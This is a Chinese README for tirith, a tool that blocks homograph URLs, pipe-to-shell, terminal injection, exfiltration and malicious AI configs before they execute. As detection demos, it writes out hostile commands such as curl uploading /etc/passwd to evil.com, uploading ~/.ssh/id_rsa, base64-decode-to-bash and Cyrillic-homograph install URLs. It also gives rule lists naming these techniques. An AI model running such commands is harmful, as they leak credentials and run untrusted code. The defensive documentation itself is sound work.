为开发者和AI代理提供终端安全。拦截同形异义URL、管道到shell、ANSI注入、混淆载荷、数据外泄以及恶意AI技能/配置，在它们执行之前。
# tirith
**你的浏览器能拦截这个。你的终端不能。**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>独立开源项目，托管由 Vercel 开源计划（2026 年春季批次）提供支持。</sub>
---
你能看出区别吗？```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
你做不到。你的终端也做不到。两个 `і` 字符都是西里尔字母（U+0456），而不是拉丁字母 `i`。第二个 URL 会解析到攻击者的服务器。脚本会在你察觉之前执行。
浏览器多年前就解决了这个问题。终端仍然毫无质疑地渲染 Unicode、ANSI 转义序列和不可见字符。AI 代理运行 shell 命令并安装软件包，却不检查其中内容。
**Tirith 守在门前。** 它会拦截命令、粘贴的内容和扫描的文件，在它们执行之前，从签名的威胁情报数据库中检测同形异义 URL、混淆载荷、凭据窃取、恶意 AI 技能/配置，以及已知的恶意软件包/域名/IP。```bash
brew install tirith
```
然后在你的 shell 配置文件中激活：```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` 会自动检测你当前使用的 shell（它会检查父进程，必要时回退到 `$SHELL`）。只有在你想要覆盖检测结果时，才需要显式使用 `--shell` 标志。
以上就是交互式 shell 覆盖的全部内容。该 shell 接受的命令会在钩子加载且健康时被检查；确切的阻止行为取决于 shell 和模式。安装和升级后请运行 `tirith doctor`，并在将钩子视为授权边界之前阅读[按 shell 划分的执行](#enforcement-by-shell)。干净的命令保持静默，通常走快速路径。
也可通过 [npm](#cross-platform)、[cargo](#cross-platform)、[mise](#cross-platform)、[apt/dnf](#linux-packages) 以及[更多方式](#install)获取。
---
## 实际效果
**同形异义字攻击，在执行前被阻止：**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
该命令永远不会执行。
**使用干净 URL 的管道到 shell，已警告，未阻止：**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
警告输出到 stderr。命令仍会运行。
**Base64 解码-执行链，已阻止：**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
捕获通过 sudo/env 包装器以及 PowerShell `-EncodedCommand` 的解码链。
**凭据外泄，已阻止：**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
涵盖所有 curl/wget 上传标志、环境变量（`$AWS_SECRET_ACCESS_KEY`）以及命令替换。
**扫描时捕获的恶意技能文件：**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
扫描 JS/Python 文件，查找混淆载荷、动态代码执行和秘密数据外泄模式。
**正常命令，不可见：**```
$ git status
$ ls -la
$ docker compose up -d
```
Nothing。零输出。你忘了 tirith 正在运行。
---
## 它能捕获什么
**35 个类别中的 244 条检测规则。**
| 类别 | 它阻止什么 |
|----------|--------------|
| **同形异义攻击** | 主机名中的西里尔/希腊相似字符、punycode 域名、混合文字标签、相似顶级域名、易混淆域名、文本级易混淆检测（数学字母数字、同词混合文字） |
| **终端注入** | ANSI 转义序列、双向文本覆盖、零宽字符、Unicode 标签、不可见数学运算符、变体选择符、谚文填充符 |
| **隐写术防御** | 不可见空白编码（12 种 Unicode 空格变体）、蒙古文元音分隔符、谚文填充字符、数学字母数字替换、针对 st3gg 风格文本隐写的防御 |
| **管道到 shell** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)`，以及许多包装、解码和间接路径 |
| **Base64 解码执行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、通过 sudo/env 包装器的解码链 |
| **数据外泄** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、环境变量上传（`$AWS_SECRET_ACCESS_KEY`）、命令替换外泄 |
| **代码文件扫描** | 混淆载荷（`eval(atob(...))`）、动态代码执行（`exec(b64decode(...))`）、JS/Python 文件中通过 `fetch`/`requests.post` 进行的机密外泄 |
| **凭据检测** | AWS 密钥、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npm 令牌、私钥块，以及基于熵的通用机密检测 |
| **入侵后行为** | 进程内存抓取（`/proc/*/mem`）、Docker 远程权限提升、凭据文件扫描，针对 TeamPCP 和 UNC1069 入侵后工具进行校准 |
| **命令安全** | 点文件覆盖、归档解压到敏感路径、云元数据端点访问、私有网络访问 |
| **不安全传输** | 明文 HTTP 管道到 shell、`curl -k`、禁用 TLS 验证、隐藏目标的短链接 |
| **环境** | 代理劫持、敏感环境变量导出、通过环境变量进行代码注入、解释器劫持、shell 注入环境 |
| **配置文件安全** | 配置注入、可疑指标、配置中的非 ASCII/不可见 Unicode、MCP 服务器安全（不安全/不受信任/重复/过于宽松） |
| **生态系统威胁** | Git clone 域名抢注、不受信任的 Docker 注册表、pip/npm URL 安装、web3 RPC 端点、vet 未配置 |
| **安装命令安全** | 从管道下载添加的 APT 仓库、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`（禁用签名检查）、针对原始/缩短的远程清单执行 `kubectl apply -f`、来自不受信任仓库的 Helm chart、来自不受信任远程源的 Terraform 模块、来自任意 URL 的 `brew install`/`tap` |
| **路径分析** | 非 ASCII 路径、路径中的同形字符、双重编码 |
| **渲染内容** | 隐藏的 CSS/颜色内容、隐藏的 HTML 属性、注释内容分析（提示注入为 High，破坏性命令为 Medium） |
| **伪装检测** | 服务器端伪装（机器人 vs 浏览器）、剪贴板隐藏内容、PDF 隐藏文本 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defender 排除项（`Add-MpPreference -Exclusion*`）、内联 `iex (iwr ...)` 下载执行 |
| **终端输出防御** | OSC 52 剪贴板写入、伪造提示符、OSC 8 超链接和标题/清屏操纵、命令或 MCP 工具输出中的提示注入（同时扫描原始和解混淆内容，因此不可见字符、易混淆、间隔、leet 和短 base64/hex 规避也会被捕获），以及输出数据外泄（信标 URL 或“读取机密然后发送”指令） |
| **操作上下文** | 针对标记为生产的云/k8s 上下文和 SSH 主机的破坏性命令、没有匹配已保存计划的 Terraform / Pulumi / OpenTofu `apply`、有风险的 sudo 提权、特权 `docker run` |
| **工作站与持久化** | 权限宽松的凭据文件和明文令牌（`~/.ssh`、`~/.aws`、`.npmrc`）、持久化立足点（shell rc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`）、PATH 劫持顺序、可执行文件来源、有风险的别名，以及敏感环境变量生命周期 |
| **爆炸半径与关联** | 逃逸出仓库的删除、大规模删除、执行从有风险来源下载的文件，以及会话链，例如先写入机密再网络访问，或先删除再 `git push --force` |
| **信任、证明与来源** | 签名命令卡不匹配、金丝雀蜜标触碰、粘贴来源主机不匹配、调用方来源（代理）策略拒绝、MCP 锁文件漂移，以及 AI 配置相对于已知安全快照的漂移 |
| **Web3 命令防护** | 来自 Cast / Forge / Hardhat / Solana / Anchor 命令的链上写入（当同一命令还禁用了声明的安全控制时为 High）、命令行上的原始私钥、密钥对或助记词材料，以及操作者的 `web3_guard` 策略不信任的 RPC 端点或签名者。仅语法和策略：不读取链状态、不模拟交易、不对地址评分 |
| **钱包外泄** | 已审查的钱包、密钥库、浏览器钱包和 Solana 密钥对材料流向已证实的远程接收端，包括归档、base64、hex、压缩器和加密器暂存跳转，以及 `xargs` / `find -exec` 操作数提升。仅源读取故意不算作发现 |
| **CI 制品投毒** | 一个 fork 可触达的工作流上传构建制品，被绑定到触发运行的特权 `workflow_run` 工作流消费，然后执行、source、PATH 修改、发布或部署它 |
---
## tirith 不能防护什么
Tirith 在命令、粘贴文本和文件执行**之前**分析它们的**结构**。它是执行前门禁，不是运行时防御，不涵盖：
- **通用运行时沙箱：** 普通 shell 钩子和 `tirith check` 会警告或阻止；它们不会在启动后隔离命令。显式的 `capsule run --preset untrusted-project` 和强制 `pkg install` 路径仅在受支持的 x86_64 Linux 主机上提供故障关闭式隔离。
- **执行后网络监控：** 进程启动后在网络上的行为不在范围内。
- **通用恶意软件/载荷检测：** tirith 不是杀毒软件，不会引爆载荷。它分析结构，可以匹配来自签名威胁数据库的精确指标和制品/文件哈希，但未知载荷不会因未匹配而被证明为良性。（`tirith run` 检查下载脚本的结构；它仍然不是动态恶意软件分析。）
- **特权 root/admin 攻击者：** 任何已经是 root 或 admin 的人都可以轻松绕过 tirith。它防御的是被欺骗的输入，而不是已经拥有机器的攻击者。
- **反调试/防篡改：** tirith 不抵抗逆向工程，也不保护自身二进制文件免受本地攻击者攻击。
- **链上分析：** Web3 防护读取命令语法。它不读取链状态、不模拟交易、不解析 ENS、不对地址评分、不审计合约，也不监视内存池。
- **npm 制品防火墙：** tirith 解析 npm 命令语法和注册表身份事实，并可以向项目自身的 npm 询问其签名和来源状态。它不下载、解压、隔离或绑定 npm 安装的 tarball 字节。受控的、哈希固定的制品防火墙仅适用于 Python。
- **浏览器取证或监控：** `tirith browser audit` 是对扩展源码树的显式、一次性、只读完整性审计。它从不读取 cookie、历史记录、保存的密码、存储、钱包数据库或 `Local State`，从不删除或隔离任何内容，也没有守护进程。
- **可复现构建：** `attest` 回执记录两个树在某一时刻包含的内容。Tirith 不运行你的构建，也无法说明输出是否来自源代码。部署回执是时间点测量，不是持续监控。
参见 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) 了解完整威胁模型和明确的非目标，参见 [docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) 了解 tirith 检测、决策、执行、隔离和证明的逐能力账本。
---
## 已知限制
- **Shell 钩子脆弱性：** 保护依赖于 shell 钩子保持安装并处于活动状态。钩子可能在不同 shell、shell 版本、提示框架和历史工具之间损坏或静默降级。运行 `tirith doctor` 检查实时状态，并留意仅警告式降级。
- **临时存储已满或只读：** zsh 和 fish 在调用 Tirith 之前通过暂存文件捕获输入，当该文件无法创建时会故障关闭。因此，已满/只读的 `TMPDIR` 可能拒绝每条命令，而 `TIRITH=0` 无法恢复，因为二进制文件从未被触达。请遵循[故障排除](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md)中的恢复步骤。
- **平台受限功能：** 守护进程模式、`tirith run` 和 `tirith fetch` 是 Unix 界面。`tirith run --no-exec` 在那里仍是检查工作流，但实时远程脚本执行仅限 Linux，并在所有其他主机上于下载前拒绝。`tirith setup` 是跨平台的，而每个主机集成都有自己的平台契约（例如 Cline 有 POSIX 和 Windows 包装器；OpenHands 的阻止钩子仅限 Unix）。
- **包名提取范围：** 覆盖语言生态系统（pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle），不包括发行版包管理器（`apt`、`dnf`、`yum`、`pacman`）。
- **AI 代理注意事项：** shell 钩子拦截仅防护通过已挂钩交互式 shell 的命令。代理如果生成非交互式 shell、直接调用 `exec`，或在未加载钩子的情况下运行，则不受该层覆盖。MCP 注册是协作式的，除非调用通过网关路由。受支持的工具前钩子可以自动扣留主机命令，但仅当该主机加载并遵守它时。若干主机在钩子进程出错时会故障开放。验证有效主机，而不仅仅是配置文件的存在。
- **主机钩子失败行为：** Grok Build、Cline 和 OpenHands 在其钩子进程崩溃或超时时允许该工具。Tirith 的适配器默认对自身错误拒绝，但它无法让主机遵守一个未返回的进程。如果固定的解释器移动，请重新运行 setup，并在每次升级后测试真实主机。
- **Prime Agent IPython 是源码级提取：** 该防护覆盖 shell 转义/魔术命令以及常见的 `os`、`subprocess` 和 `pty.spawn` 形式，但它不是 Python 运行时沙箱。在较早单元格中定义的包装器、诸如 `getattr`/`__import__` 的反射，或生成进程的第三方包，都可能逃逸源码词法分析器所能证明的范围。
- **自定义 DLP 和机器输出：** 宽泛的 `dlp_custom_patterns` 目前可以重写递归脱敏的 JSON/MCP 投影中协议拥有的字符串值，包括生成的标识符或回执元数据。在消费签名或机器稳定输出时，避免可能匹配结构值的模式；这需要在发布前实现字段感知的脱敏。
- **无人值守安装批准：** `tirith install --yes` 被接受为包管理器任务门禁的无人值守 `require_approval` 通道。它是显式操作者标志，不是人类 TTY 确认的证明。在无人值守执行必须不可能的地方，使用阻止式任务策略。
- **解释型 MCP 绑定：** 精确解释型服务器绑定在固定上限下对仓库树进行哈希，而不是发现真正的依赖闭包，因此大型树、符号链接或特殊文件可能导致启动被拒绝。它在 spawn 前重新验证，但不从密封的已审查描述符执行解释器输入；同一用户并发修改仍存在验证到加载的间隙。
- **任务门禁覆盖：** 任务效果推断仅建模 Web3 shell 语法，别无其他，因此几乎所有普通 SHELL 命令都会报告为 INCOMPLETE。`task_gate.mode: enforce` 与 `action_incomplete_analysis: block` 会在提交 shell 信封的五个边界拒绝这些命令，而在四个包和配置写入边界不改变任何内容，这些边界始终评估为完整。`warn` 是默认值。替代方案 `effects_denied_for_untrusted_sources` 会在每个自有边界的每次调用中拒绝指定效果，包括你自己输入的命令，因为那些边界上的任何来源都不会被视为受信任。
- **隔离仅限 x86_64 Linux：** `tirith capsule run --preset untrusted-project` 和强制 `tirith pkg install` 仅在具有可用 Landlock ABI 的 x86_64 Linux 上可执行。所有其他主机在复制或 spawn 任何内容之前拒绝，没有降级回退。任何后端都不提供域允许列表。
- **嵌套 shell 外泄间隙：** 嵌套 shell 主体内部的敏感读取，其接收端在外部，例如 `bash -c "cat <wallet>" | curl -d @- <url>`，目前不会被关联。完全位于 `-c` 主体内部或完全位于外部的同一链条会被检测到。
- **执行证据等级：** Linux 启动仅在其停止的 `exec` 转换、持久状态更新、授权恢复和终端启动器证明全部完成后才被确认。网关调用仅由精确关联结果确认。超时或被取消的 shell 观察和转发的网关调用仍为保守的未解决证据，绝不视为已确认执行。严格 shell 回执可用于交互式 bash、zsh 和 fish；PowerShell 仍仅限预检。原生 Linux 启动器行为必须由 Linux CI 或原生 Linux 主机验证；可移植源码/单元覆盖或 macOS 构建都不能替代。
- **Web3 覆盖缺口：** `forge create` 尚未在引擎表面上建模；若干声明的 `web3_guard` 字段被解析但未强制执行；schema-2 命令卡 Web3 绑定尚无 CLI 编写或实时引擎消费路径。将这些视为已知缺口，而非静默授权。
---
## 威胁情报
Tirith 附带一个签名的本地威胁数据库，用于包、主机名和 IP 信誉。当 shell 钩子或 `tirith check` 看到包安装或可疑基础设施引用时，它会在命令执行前将该输入与数据库匹配，而不是仅依赖静态启发式。
**签名数据库**（由 CI 构建，在下载和加载时验证）：
- 来自 [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 和 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset) 的已知恶意包
- 来自 [Feodo Tracker](https://feodotracker.abuse.ch/)（abuse.ch）的恶意 IP 基础设施
- 来自 [ecosyste.ms](https://ecosyste.ms/) 的已确认域名抢注和流行包基线
- [CISA 已知被利用漏洞](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)目录，用于运行时公告关联
ThreatDB v2 增加了精确制品 SHA-256 值、已安装文件哈希、恶意 URL、活动成员资格和行为标签。签名索引、更新器、编译器和加载器在分阶段切换期间支持 v1 和 v2，拒绝序列回滚，以事务方式发布，并在更新不完整或无效时保留签名的最后已知良好数据库。DigitalSide 源已实现，但在其新鲜度和运营契约获批之前有意保持非活动状态。
**可选补充源**（用户本地覆盖）：
- 通过 abuse.ch 认证密钥使用 [URLhaus](https://urlhaus.abuse.ch/) 和 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/)（Cisco Talos）和 [Phishing Army](https://phishing.army/) 阻止列表
- 来自 [Tor Project](https://www.torproject.org/) 的 Tor 出口节点列表
**可选实时增强**，在 `tirith check` 和守护进程模式期间：
- [OSV.dev](https://osv.dev/) 公告查询（Google OSS）
- [deps.dev](https://deps.dev/) 包健康信号（Google OSS）和 [ecosyste.ms](https://ecosyste.ms/) 维护者数据
- [Google Safe Browsing](https://safebrowsing.google.com/) URL 信誉，使用你自己的 API 密钥```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
默认情况下，shell 钩子和 `tirith check` 每 24 小时触发一次轻量级后台刷新检查。守护进程模式在后台保持相同的富化路径处于热状态。
`threat-db explain` 接受域名、包名（`name`、`ecosystem:name` 或 `name@version`）或 IPv4 地址。该二进制文件不保留逐条历史记录，因此 `threat-db diff` 报告的是快照之间的类别和按来源计数增量，而非确切变更的条目。每个 `threat-db` 命令都接受 `--format json`；`threatdb` 是别名。
### 包风险评分
`tirith package risk <ecosystem> <name>` 以 `tirith score` 对 URL 评分的方式对包的供应链/维护者风险进行评分，即**确定性、完全可解释的命名因子之和**，不使用模型，也不使用学习权重。`tirith package explain <ecosystem> <name>` 增加了逐因子推导；两者都接受 `--format json`。```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
**默认离线。** 不带任何标志时，每个信号都是本地的，不进行网络调用：(1) **名称与热门包对比**：已知热门、未知，或与热门名称仅差一个编辑的近似名称（经典的域名抢注/垃圾抢注形态），来自本地威胁数据库的 `popular` 集合；(2) **已知恶意域名抢注**：与威胁数据库的 `typosquat` 索引精确匹配；(3) **安装/生命周期脚本**和 (4) **捆绑的二进制 blob**，仅在包内容本地可用时检测（位于 `node_modules` / `site-packages` 下，或通过 `--path`）。tirith **从不下载**包。
**`--online` 添加注册表来源信息。** 它会查询包的注册表（npm、PyPI 或 crates.io），在*相同*的因子求和模型中增加六个因子：包/版本年龄、无所有者的已建立包、异常的版本激增、极低的下载量、缺失的源仓库，以及被撤回/弃用状态。这是 `package risk` 本身访问网络的唯一路径；`tirith check` 和守护进程模式有一条独立的、受策略控制的运行时增强路径。`--offline` / `TIRITH_OFFLINE` 无论如何都会强制此评分器离线。失败时会回退到离线评分，并如实显示 `api signals: unavailable`，响应会被缓存并带有 TTL，因此重复运行不会频繁冲击注册表。
该评分是建议性的且独立的：`package risk` 不是检测规则，不会改变任何判定、退出码或审计日志。
### 生态系统扫描与依赖风险
`tirith ecosystem scan [path]` 是 `package risk` 的目录级配套工具。它会遍历项目，发现它能理解的所有依赖清单，npm（`package.json`、`package-lock.json`）、Python（`requirements*.txt`、`pyproject.toml`）、Rust（`Cargo.toml`）、Go（`go.mod`）、Ruby（`Gemfile`），并使用相同的确定性 `package_risk` 因子引擎对**每个声明的依赖**进行评分。```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
```
**它内置了 slopsquat 检测。** *Slopsquatting* 是指注册一个看似合理但实为伪造的名称，LLM 倾向于将其幻觉为依赖项。`ecosystem scan` 仅在**以下三个条件全部**满足时才会标记：该名称并非已知真实或流行的名称，它**具有 AI 幻觉的特征**（语言前缀如 `python-` / `node-` 加上描述性词元，一堆通用填充词如 `helper` / `utils` / `client`，或异常长的名称），**并且**它靠近一个真实流行的名称（一次编辑的近似匹配，或它将一个流行名称作为单词嵌入）。要求全部三个条件可以保持低误报率：一个诚实的 `data-utils` 没有流行名称锚点就不会触发。
**默认离线，可选 `--online`。** 名称和仿冒域名信号来自本地威胁数据库；`--online` 增加注册表来源信息，其门控和降级方式与 `package risk --online` 完全一致。此标志控制生态系统扫描，不会改变 `tirith check` 独立的运行时增强策略。发现结果通过 tirith 正常的 `Verdict` / `Finding` 模型流转：可解释（`tirith explain --rule threat_suspicious_package`）、审计日志记录，并遵守策略允许列表（允许列表中的包，无论是裸名称还是 `ecosystem:name`，都会被抑制）。退出码与 `tirith scan` 一致：`1` 表示阻断性发现，`2` 表示建议性发现，`0` 表示干净。
这有助于捕获已知恶意包、确认的仿冒域名、slopsquatted 包名、恶意下载基础设施，以及带有实时 OSV / CISA KEV 公告数据的包。
### Python 制品检查与强制安装
包名风险只是其中一层。Tirith 可以检查你已有的确切 Python 字节码，并在支持的主机上强制执行哈希固定的安装计划：```bash
# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv
# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests
```
检查涵盖 wheel 结构与身份、RECORD 完整性与文件归属、Python 启动钩子、原生 ELF/Mach-O/PE 扩展、执行边以及跨发行版的加载器/载荷拆分。`pkg graph`、`pkg diff`、`pkg attest` 和 `pkg receipt` 暴露相应的来源与凭据证据。
强制执行路径仅支持 **x86_64 Linux 上的 pip**，并且需要文档化的原生授权、一个全新专用的目标目录，以及一个已注册的完全静态原生 `uv`。每个不受支持的平台都会在 pip 启动前失败关闭；它绝不会回退到普通安装。npm 和 Cargo 仍是非强制执行的证据面。参见
[0.4.0 发行说明](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) 和
[命令参考](https://github.com/sheeki03/tirith/blob/main/docs/commands.md)。
**tirith 所针对的攻击家族**（仅作说明，并非当前代码已捕获的声明）：
| 事件 | 年份 | 攻击形态 |
|---|---|---|
| [Shai-Hulud npm 蠕虫](https://socket.dev/blog/shai-hulud-worm) | 2025 | 自我传播的包恶意软件；从 180 多个包中窃取 GitHub 令牌和 AWS 密钥，并将发现发布到公开的 `Shai-Hulud` 仓库 |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 年至今 | 攻击者在 npm / PyPI / crates.io 上注册 LLM 幻觉出的包名；[USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) 发现 58% 的幻觉名称在多次运行中重复出现 |
| Team PCP / UNC1069 工具集 | 持续中 | 入侵后的凭据清扫、`/proc/*/mem` 抓取、Docker 权限提升 |
| [colors.js / faker.js 破坏事件](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | 作者对广泛使用的包进行自我破坏 |
| [event-stream 入侵事件](https://github.com/dominictarr/event-stream/issues/116) | 2018 | 将所有权转移给攻击者；载荷针对比特币钱包 |
包名提取目前覆盖语言生态系统（pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle），而不覆盖发行版级包管理器（`apt` / `dnf` / `yum` / `pacman`）。这就是为什么通过 Linux 发行版 tarball 进入的 xz-utils 尽管是头条事件，却不在表中。
---
## AI 代理安全
Tirith 围绕 AI 编码代理增加了多个独立的保护层：
配置扫描、协作式 MCP 工具、MCP 网关、交互式 shell
钩子，以及主机原生预工具钩子（在主机暴露文档化
阻断契约的情况下）。覆盖范围取决于主机实际加载哪一层。
### Shell 钩子，被动命令拦截
当 AI 代理通过已挂钩的交互式 shell（Claude Code、
Codex、Cursor 等）执行时，tirith 的 shell 钩子会在 shell 接受该交互式命令之前
对其进行检查。这不覆盖非交互式 shell、直接
`exec`，或从未加载该钩子的代理进程：
- **阻止危险命令**：同形异义 URL、管道到 shell、不安全下载
- **阻止恶意粘贴**：ANSI 注入、双向文本攻击、粘贴内容中的隐藏多行
- **与代理无关的交互式闸门**：当该代理实际使用受保护的交互式 shell 时，
无需代理特定集成
- **零代理修改**：在命令被阻止之前，代理不知道 tirith 的存在
使用 `tirith setup <tool>` 进行一键配置（参见 [AI 代理集成](#ai-agent-integrations)）。
### MCP 服务器（6 个跨平台工具；Unix 上 7 个）
运行 `tirith mcp-server` 或使用 `tirith setup <tool> --with-mcp` 将 tirith 注册为 MCP 服务器。AI 代理可以在采取行动前调用这些工具：
| 工具 | 功能 |
|------|-------------|
| `tirith_check_command` | 分析 shell 命令中的管道到 shell、同形异义 URL、环境变量注入 |
| `tirith_check_url` | 对 URL 进行同形异义攻击、punycode 技巧、短链接、原始 IP 评分 |
| `tirith_check_paste` | 检查粘贴内容中的 ANSI 转义、双向控制符、零宽字符 |
| `tirith_scan_file` | 扫描文件中的隐藏内容、不可见 Unicode、配置投毒 |
| `tirith_scan_directory` | 递归扫描，并优先处理 AI 配置文件 |
| `tirith_verify_mcp_config` | 验证 MCP 配置中的不安全服务器、参数中的 shell 注入、通配符工具 |
| `tirith_fetch_cloaking` | 检测服务器端伪装（对机器人与浏览器返回不同内容） |
默认的 `tools/list` 是一份冻结的兼容性契约，因为客户端
会缓存它，而一个未事先声明就出现的工具会改变代理认为自己
可以调用的内容。因此，预览工具 `tirith_check_task` **默认不对外公布**：
运行 `TIRITH_MCP_PREVIEW=1 tirith mcp-server` 来公布它，若没有该
选择加入，按名称调用它的客户端会被按名称拒绝。参见
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md)。
### MCP 服务器治理
`tirith mcp lock` 捕获仓库声明的每个 MCP 服务器，涵盖 `.mcp.json` / `mcp.json` / `mcp_settings.json` 以及 IDE 配置变体（`.vscode/`、`.cursor/`、`.windsurf/`、`.cline/`、`.amazonq/`、`.continue/`、`.kiro/`），并将其写入 `.tirith/mcp.lock` 中的确定性锁文件。每个服务器都会记录其传输方式（远程 URL，或本地命令 + 参数）、声明的工具、覆盖元数据以及内容哈希；服务器按名称/来源排序，因此锁文件便于 diff。含糊或携带凭据的声明会被拒绝，而不会被复制到源代码控制中。环境变量值和 URL userinfo 仅以固定的存在标记表示，绝不以原始值或确定性哈希表示：添加/移除变量或 userinfo 仍会产生漂移，而密钥轮换则有意不会。V7 锁文件需要一次显式重新锁定才能迁移到此 v8 隐私模型。发现仅限仓库本地，不触及网络。（`tirith mcp` 是与 `tirith mcp-server` 不同的命令组，后者将 tirith *作为* MCP 服务器运行。）
```
---
[Read more](https://github.com/sheeki03/tirith)